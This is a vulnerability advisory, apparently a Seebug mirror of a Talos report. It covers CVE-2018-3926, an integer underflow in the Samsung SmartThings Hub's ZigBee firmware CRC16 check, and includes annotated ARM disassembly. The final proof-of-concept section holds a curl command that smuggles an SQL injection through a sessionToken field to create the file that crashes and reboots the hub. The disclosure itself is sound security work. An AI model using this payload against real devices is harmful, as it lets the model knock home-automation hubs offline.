Lucene search

K
seebugMy SeebugSSV:97445
HistoryJul 30, 2018 - 12:00 a.m.

Samsung SmartThings Hub hubCore ZigBee firmware update CRC16 check denial-of-service vulnerability(CVE-2018-3926)

2018-07-3000:00:00
My Seebug
www.seebug.org
529

0.0004 Low

EPSS

Percentile

5.1%

Summary

An exploitable integer underflow vulnerability exists in the ZigBee
firmware update routine of the hubCore binary of the Samsung
SmartThings Hub. The hubCore process incorrectly handles malformed
files existing in its “data” directory, leading to an infinite loop,
which eventually causes the process to crash. An attacker can send an
HTTP request to trigger this vulnerability.

Tested Versions

Samsung SmartThings Hub STH-ETH-250 - Firmware version 0.20.17

Product URLs

https://shop.smartthings.com/products/samsung-smartthings-hub

CVSSv3 Score

5.3 - CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:N/A:H

CWE

CWE-191: Integer Underflow (Wrap or Wraparound)

Details

Samsung produces a series of devices aimed at controlling and monitoring
a home, such as wall switches, LED bulbs, thermostats and cameras. One
of those is the Samsung SmartThings Hub, a central controller that
allows an end user to use their smartphone to connect to their house
remotely and operate other devices through it. The hub board utilizes
several systems on chips. The firmware in question is executed by an
i.MX 6 SoloLite processor (Cortex-A9), which has an ARMv7-A
architecture.

The firmware is Linux-based, and runs a series of daemons that interface
with devices nearby via ethernet, ZigBee, Z-Wave and Bluetooth
protocols. Additionally, the hubCore process is responsible for
communicating with the remote SmartThings servers via a persistent TLS
connection. These servers act as a bridge that allows for secure
communication between the smartphone application and the hub. End users
can simply install the SmartThings mobile application on their
smartphone to control the hub remotely.

The hubCore process handles most of the features provided by the hub.
One of those is the ability to talk to the ZigBee SoC on-board, and to
update its firmware. Every 30 seconds, the taskHubRun function is
called to sequentially execute a series of tasks. One of these tasks is
called taskZigbeeStateRun, which, among other functionalities, allows
for updating the ZigBee firmware. To achieve this, the function
zigbeeBootLoadFile is called in two instances, for checking the CRC16
of two different files employed in the firmware update process:
“/hub/data/hubcore/stZigbee” and “/hub/data/hubcore/stZigbeeNcp”.

.text:0015F514     zigbeeBootLoadFile
.text:0015F514
.text:0015F514     nread           = -0x6E8
.text:0015F514     var_6DC         = -0x6DC
.text:0015F514     var_6D8         = -0x6D8
.text:0015F514     var_6D4         = -0x6D4
.text:0015F514     var_6D0         = -0x6D0
.text:0015F514     var_6CC         = -0x6CC
.text:0015F514     buf             = -0x6C2
.text:0015F514     nread_buf       = -0x6C0
.text:0015F514     nbytes          = -0x6BC
.text:0015F514     dst             = -0x6B8
.text:0015F514     sizeptr         = -0x5B8
.text:0015F514     var_5B4         = -0x5B4
.text:0015F514     var_5B0         = -0x5B0
.text:0015F514     var_5AC         = -0x5AC
.text:0015F514     tv              = -0x5A8
.text:0015F514     s               = -0x5A0
.text:0015F514     var_59C         = -0x59C
.text:0015F514
...
.text:0015F6B8 6E8                 MOV             R0, R5                     ; [1] handle
.text:0015F6BC 6E8                 ADD             R1, SP, #0x6E8+sizeptr     ; sizeptr
.text:0015F6C0 6E8                 BL              stFileSize                 ; [2]
.text:0015F6C4 6E8                 CMP             R0, #0
.text:0015F6C8 6E8                 BNE             loc_15F6E8
...
.text:0015F6E8     loc_15F6E8
.text:0015F6E8 6E8                 LDR             R3, [SP,#0x6E8+sizeptr]
.text:0015F6EC 6E8                 MOV             R9, #4999999               ; [3]
.text:0015F6F4 6E8                 CMP             R3, R9
.text:0015F6F8 6E8                 BHI             loc_15F6CC
.text:0015F6FC 6E8                 MOV             R10, #0
.text:0015F700 6E8                 ADD             R1, SP, #0x6E8+nbytes      ; sizeptr
.text:0015F704 6E8                 MOV             R0, R5                     ; handle
.text:0015F708 6E8                 STR             R3, [R4,#(dword_AAA48C - 0xAAA468)]
.text:0015F70C 6E8                 STRH            R10, [SP,#0x6E8+buf]
.text:0015F710 6E8                 BL              stFileSize                 ; [4]
.text:0015F714 6E8                 CMP             R0, R10
.text:0015F718 6E8                 BEQ             loc_15F728
.text:0015F71C 6E8                 LDR             R3, [SP,#0x6E8+nbytes]
.text:0015F720 6E8                 CMP             R3, R9
.text:0015F724 6E8                 BLS             loc_15F798
...
.text:0015F798     loc_15F798
.text:0015F798 6E8                 BL              crc16_init                 ; [5]
.text:0015F79C 6E8                 LDR             R1, [SP,#0x6E8+nbytes]     ; [6]
.text:0015F7A0 6E8                 MOV             R9, R0
.text:0015F7A4 6E8                 SUB             R1, R1, #2                 ; [6]
.text:0015F7A8 6E8                 CMP             R1, R10
.text:0015F7AC 6E8                 STR             R1, [SP,#0x6E8+nbytes]     ; [6]
.text:0015F7B0 6E8                 ADDEQ           R10, SP, #0x6E8+nread_buf
.text:0015F7B4 6E8                 BEQ             loc_15F8A8
...
.text:0015F7C8 6E8                 MOV             R11, R10
...
.text:0015F7F4 6E8                 MOV             R6, R11
...
.text:0015F800 6E8                 B               loc_15F824
.text:0015F804 ---------------------------------------------------------------------------
.text:0015F804
.text:0015F804     loc_15F804                                                 ; loop
.text:0015F804 6E8                 LDR             R1, [SP,#0x6E8+nread_buf]  ; len
.text:0015F808 6E8                 BL              crc16_buffer_append        ; [8]
.text:0015F80C 6E8                 LDR             R3, [SP,#0x6E8+nread_buf]
.text:0015F810 6E8                 MOV             R9, R0
.text:0015F814 6E8                 LDR             R1, [SP,#0x6E8+nbytes]     ; file_size
.text:0015F818 6E8                 ADD             R6, R6, R3                 ; [9]
.text:0015F81C
.text:0015F81C     loc_15F81C
.text:0015F81C 6E8                 CMP             R6, R1                     ; [10]
.text:0015F820 6E8                 BCS             loc_15F88C
.text:0015F824
.text:0015F824     loc_15F824
.text:0015F824 6E8                 RSB             R3, R6, R1
.text:0015F828 6E8                 ADD             R2, SP, #0x6E8+dst         ; buf
.text:0015F82C 6E8                 CMP             R3, #0x100
.text:0015F830 6E8                 STR             R10, [SP,#0x6E8+nread]     ; nread
.text:0015F834 6E8                 MOVCS           R3, #0x100                 ; count
.text:0015F838 6E8                 MOV             R0, R5                     ; handle
.text:0015F83C 6E8                 MOV             R1, R6                     ; file_size
.text:0015F840 6E8                 BL              stFileRead                 ; [7]
.text:0015F844 6E8                 SUBS            R11, R0, #0
.text:0015F848 6E8                 MOV             R2, R9                     ; crc
.text:0015F84C 6E8                 MOV             LR, #0x1E
.text:0015F850 6E8                 MOV             R3, #0x25A
.text:0015F854 6E8                 ADD             R0, SP, #0x6E8+dst         ; buf
.text:0015F858 6E8                 BNE             loc_15F804                 ; loop
.text:0015F85C 6E8                 ADD             R0, SP, #0x6E8+sizeptr
.text:0015F860 6E8                 MOV             R7, #0
.text:0015F864 6E8                 STR             R8, [SP,#0x6E8+var_5AC]
.text:0015F868 6E8                 STR             LR, [SP,#0x6E8+sizeptr]
.text:0015F86C 6E8                 STR             R4, [SP,#0x6E8+var_5B4]
.text:0015F870 6E8                 STR             R3, [SP,#0x6E8+var_5B0]
.text:0015F874 6E8                 BL              log_shouldEmitRecord
.text:0015F878 6E8                 CMP             R0, R7
.text:0015F87C 6E8                 BNE             loc_15F93C
.text:0015F880
.text:0015F880     loc_15F880
.text:0015F880 6E8                 LDR             R1, [SP,#0x6E8+nbytes]
.text:0015F884 6E8                 ADD             R6, R1, #1
.text:0015F888 6E8                 B               loc_15F81C
.text:0015F88C ---------------------------------------------------------------------------
.text:0015F88C
.text:0015F88C     loc_15F88C
...

A series of custom functions are used for interacting with the
filesystem and computing the CRC16. For the sake of brevity, we list
below only the reverse-engineered prototypes of those functions.

// Given a file handle, the size of the file is stored in the "size" pointer.
// Returns 1 on success, 0 otherwise.
int stFileSize(int handle, int *size);

// Given a file handle, reads a maximum of "count" bytes into "buf".
// Finally, the number of bytes read is stored in "nread".
// Returns 1 on success, 0 otherwise.
int stFileRead(int handle, int file_size, char *buf, int count, int *nread);

// Initializes the CRC16 value.
// Always returns 0xffff.
int crc16_init();

// Starting from the value set by "crc", updates the CRC16 with the data stored in "buf" (which has length "len").
// Returns the updated CRC16.
int crc16_buffer_append(char *buf, int len, int crc);

At [1], r5 contains the handle to the file passed as argument (either
“/hub/data/hubcore/stZigbee” or “/hub/data/hubcore/stZigbeeNcp”). The
file size is calculated [2] and the result stored in sizeptr. At [3],
the file is checked to be not bigger than 4,999,999 bytes. At [4], the
file size is retrieved again, but stored in nbytes, and again, the
result is checked to be not bigger than 4,999,999. At [5], the CRC16
value is initialized, and the file length is decreased by two [6],
assuming that a two-byte CRC16 value is present at the end of the file.
The execution then enters a loop, which reads the file contents [7] in
chunks of 256 bytes for updating the current CRC16 value [8]. At [9],
r6 keeps the number of bytes read, which is updated by adding the
current chunk length (r3). Finally at [10], r1 (which contains the
file size minus two) is compared against r6, in order to exit the loop
when all bytes are processed.

The operation at [6] is unsafe, and can result in an integer underflow
when the size of the file is either 0 or 1. If this happens,
nbytes will have a value respectively of 0xfffffffe or 0xffffffff,
which will cause the loop to try to read past the end of the file. This
is not considered an error, and stFileRead will still return 1, but
the nread value will be 0 since no bytes have been read. This, in
turn, causes the increment at [9] to be ineffective, and the loop never
terminates.

Additionally, hubCore runs a “watchdog” thread which, if not
restarted, kills the process itself by calling abort(). Since the loop
never terminates, the watchdog is never restarted and the process is
killed. Moreover, hubCore is responsible for restarting the system
watchdog “/dev/watchdog”, and since hubCore is never restarted, the
device is rebooted shortly after.

Note that in order to exploit this vulnerability, an attacker needs to
be able to create files inside the device. This can be achieved using
TALOS-2018-0556, as demonstrated in the proof of concept below.

Exploit Proof of Concept

The following proof of concept shows how to create an empty
“/hub/data/hubcore/stZigbee” file using TALOS-2018-0556, which will
cause the hubCore process to crash, and in turn the device to reboot.

$ sInj='","_id=0 where 1=2;commit;attach database \\"/hub/data/hubcore/stZigbee\\" as x;--":"'
$ curl -X POST 'http://127.0.0.1:3000/credentials' -d "{'s3':{'accessKey':'','secretKey':'','directory':'','region':'','bucket':'','sessionToken':'${sInj}'},'videoHostUrl':'127.0.0.1/'}"

Timeline

  • 2018-05-14 - Vendor Disclosure
  • 2018-05-23 - Discussion with vendor/review of timeline for disclosure
  • 2018-07-17 - Vendor patched
  • 2018-07-26 - Public Release

0.0004 Low

EPSS

Percentile

5.1%